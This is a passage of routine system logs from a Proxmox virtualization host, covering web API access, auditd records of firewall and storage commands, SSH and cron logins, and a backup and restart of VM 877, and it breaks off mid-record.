{"@timestamp":1781964812621,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1072"} {"@timestamp":1781965021940,"@rawstring":"node=pve type=CRED_ACQ msg=audit(1781965021.940:63649): pid=61063 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:setcred grantors=pam_permit acct=\"root\" exe=\"/usr/sbin/cron\" hostname=? addr=? terminal=cron res=success'"} {"@timestamp":1781966285730,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:38:04 +0100] \"POST /api2/json/access/ticket HTTP/1.1\" 200 799"} {"@timestamp":1781966385416,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.416:69498): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965083396,"@rawstring":"<30>Jun 20 15:18:03 pvedaemon[1216]: starting task UPID:pve:0000F07F:0016AD02:6A36A11B:vncproxy:877:root@pam:\n\u0000"} {"@timestamp":1781965724758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 910"} {"@timestamp":1781966375319,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.319:69462): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ea790 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966346.272:69385): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207461,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781966207.461:68917): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964178206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964178.206:59926): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964811613,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964796137,"@rawstring":"node=pve type=CRED_ACQ msg=audit(1781964796.137:62661): pid=60083 uid=0 auid=0 ses=7 subj=unconfined msg='op=PAM:setcred grantors=pam_permit acct=\"root\" exe=\"/usr/lib/openssh/sshd-session\" hostname=192.168.1.157 addr=192.168.1.157 terminal=ssh res=success'"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/package.json HTTP/1.1\" 200 25"} {"@timestamp":1781966385409,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.409:69497): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965076557,"@rawstring":"<30>Jun 20 15:17:56 pvedaemon[1215]: end task UPID:pve:0000F004:0016A9D3:6A36A113:qmstart:877:root@pam: OK\n\u0000"} {"@timestamp":1781965724758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781966375313,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.313:69461): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966346.265:69383): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781966207.446:68915): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964178206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964178.206:59925): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964810599,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964796125,"@rawstring":"node=pve type=CRED_ACQ msg=audit(1781964796.125:62658): pid=60082 uid=0 auid=0 ses=7 subj=unconfined msg='op=PAM:setcred grantors=pam_permit acct=\"root\" exe=\"/usr/lib/openssh/sshd-session\" hostname=192.168.1.157 addr=192.168.1.157 terminal=ssh res=success'"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/app.js?ver=1.6.0-3 HTTP/1.1\" 200 97168"} {"@timestamp":1781966385402,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.402:69496): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965076537,"@rawstring":"<30>Jun 20 15:17:56 pvedaemon[61444]: VM 877 started with PID 61458.\n\u0000"} {"@timestamp":1781965724758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966375307,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.307:69460): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966346.265:69382): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207442,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781966207.442:68913): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964178195,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964178.195:59923): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964810599,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1072"} {"@timestamp":1781964796095,"@rawstring":"node=pve type=CRED_ACQ msg=audit(1781964796.095:62647): pid=60035 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:setcred grantors=pam_permit acct=\"root\" exe=\"/usr/lib/openssh/sshd-session\" hostname=192.168.1.157 addr=192.168.1.157 terminal=ssh res=success'"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/app/images/warning.svg HTTP/1.1\" 200 1569"} {"@timestamp":1781966385396,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.396:69495): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965075242,"@rawstring":"<30>Jun 20 15:17:55 pvedaemon[61444]: start VM 877: UPID:pve:0000F004:0016A9D3:6A36A113:qmstart:877:root@pam:\n\u0000"} {"@timestamp":1781965723437,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781966375302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.302:69459): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66663 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.108:69376): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc014314d0 a1=6093c8682410 a2=6093c8660680 a3=5 items=1 ppid=66594 pid=66595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207240,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781966207.240:68906): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964178195,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964178.195:59922): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964810599,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 852"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/app/images/error.svg HTTP/1.1\" 200 1212"} {"@timestamp":1781966385390,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.390:69494): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965075242,"@rawstring":"<30>Jun 20 15:17:55 pvedaemon[1215]: starting task UPID:pve:0000F004:0016A9D3:6A36A113:qmstart:877:root@pam:\n\u0000"} {"@timestamp":1781965723437,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781966375296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.296:69458): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66662 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966341.254:69361): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207232,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781966207.232:68905): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964175224,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.224:59918): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd3df3f6a0 a1=5748174d8310 a2=5748174d1680 a3=5 items=1 ppid=57538 pid=57539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964808689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1072"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/app/error-handler.js?ver=1.6.0-3 HTTP/1.1\" 200 1144"} {"@timestamp":1781966385384,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.384:69493): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965072935,"@rawstring":"<30>Jun 20 15:17:52 pvedaemon[1216]: end task UPID:pve:0000EF2B:0016A090:6A36A0FB:vzdump:877:root@pam: OK\n\u0000"} {"@timestamp":1781965722361,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781966375290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.290:69457): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966341.254:69360): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965076369,"@rawstring":"node=pve type=SOCKADDR msg=audit(1781965076.369:64064): saddr=100000000000000000000000"} {"@timestamp":1781964175140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.140:59900): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcc29893f0 a1=6434767d61c0 a2=6434767b4680 a3=5 items=1 ppid=57519 pid=57520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964807697,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/app/styles/pve.css?ver=1.6.0-3 HTTP/1.1\" 200 869"} {"@timestamp":1781966385378,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.378:69492): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965072920,"@rawstring":"notified via target `mail-to-root`"} {"@timestamp":1781965722361,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781966374272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966374.272:69456): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382890 a1=64f8d73c6ae0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966341.243:69358): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66576 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965076307,"@rawstring":"node=pve type=SOCKADDR msg=audit(1781965076.307:64061): saddr=100000000000000000000000"} {"@timestamp":1781964173184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964173.184:59890): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964515146,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964515.146:61355): table=filter family=7 entries=4 op=xt_replace pid=58899 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964807697,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1072"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/app/styles/input.css?ver=1.6.0-3 HTTP/1.1\" 200 5969"} {"@timestamp":1781966385372,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.372:69491): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965072892,"@rawstring":"<30>Jun 20 15:17:52 pvedaemon[61227]: INFO: Backup job finished successfully\n\u0000"} {"@timestamp":1781965720719,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781966374234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966374.234:69455): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cf1d0 a1=64f8d73bbce0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966341.243:69357): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66576 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965076217,"@rawstring":"node=pve type=SOCKADDR msg=audit(1781965076.217:64034): saddr=100000000000000000000000"} {"@timestamp":1781964173184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964173.184:59889): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964506020,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964506.020:61313): table=filter family=7 entries=4 op=xt_replace pid=58860 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964807697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/app/styles/base.css?ver=1.6.0-3 HTTP/1.1\" 200 4830"} {"@timestamp":1781966385365,"@rawstring":"node=pve type=EXECVE msg=audit(1781966385.365:69490): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965072885,"@rawstring":"<30>Jun 20 15:17:52 pvedaemon[61227]: INFO: Finished Backup of VM 877 (00:00:21)\n\u0000"} {"@timestamp":1781965720719,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781966371370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966371.370:69454): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.230:69355): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071829,"@rawstring":"node=pve type=SOCKADDR msg=audit(1781965071.829:63974): saddr=100000000000000000000000"} {"@timestamp":1781964173176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964173.176:59887): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964495895,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964495.895:61271): table=filter family=7 entries=4 op=xt_replace pid=58821 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964804765,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:51 +0100] \"GET /novnc/app/styles/constants.css?ver=1.6.0-3 HTTP/1.1\" 200 776"} {"@timestamp":1781966384394,"@rawstring":"node=pve type=EXECVE msg=audit(1781966384.394:69489): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965053476,"@rawstring":"<30>Jun 20 15:17:33 pvedaemon[61227]: VM 877 started with PID 61249.\n\u0000"} {"@timestamp":1781965720719,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966371356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966371.356:69451): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.230:69354): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053204,"@rawstring":"node=pve type=SOCKADDR msg=audit(1781965053.204:63867): saddr=100000000000000000000000"} {"@timestamp":1781964173176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964173.176:59886): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485767,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964485.767:61229): table=filter family=7 entries=4 op=xt_replace pid=58782 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964804765,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781966211722,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:36:50 +0100] \"GET /?console=kvm&novnc=1&vmid=877&vmname=null&node=pve&resize=scale HTTP/1.1\" 200 3465"} {"@timestamp":1781966384362,"@rawstring":"node=pve type=EXECVE msg=audit(1781966384.362:69488): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965051568,"@rawstring":"<30>Jun 20 15:17:31 pvedaemon[61227]: INFO: Starting Backup of VM 877 (qemu)\n\u0000"} {"@timestamp":1781965719709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781966366340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966366.340:69448): arch=c000003e syscall=59 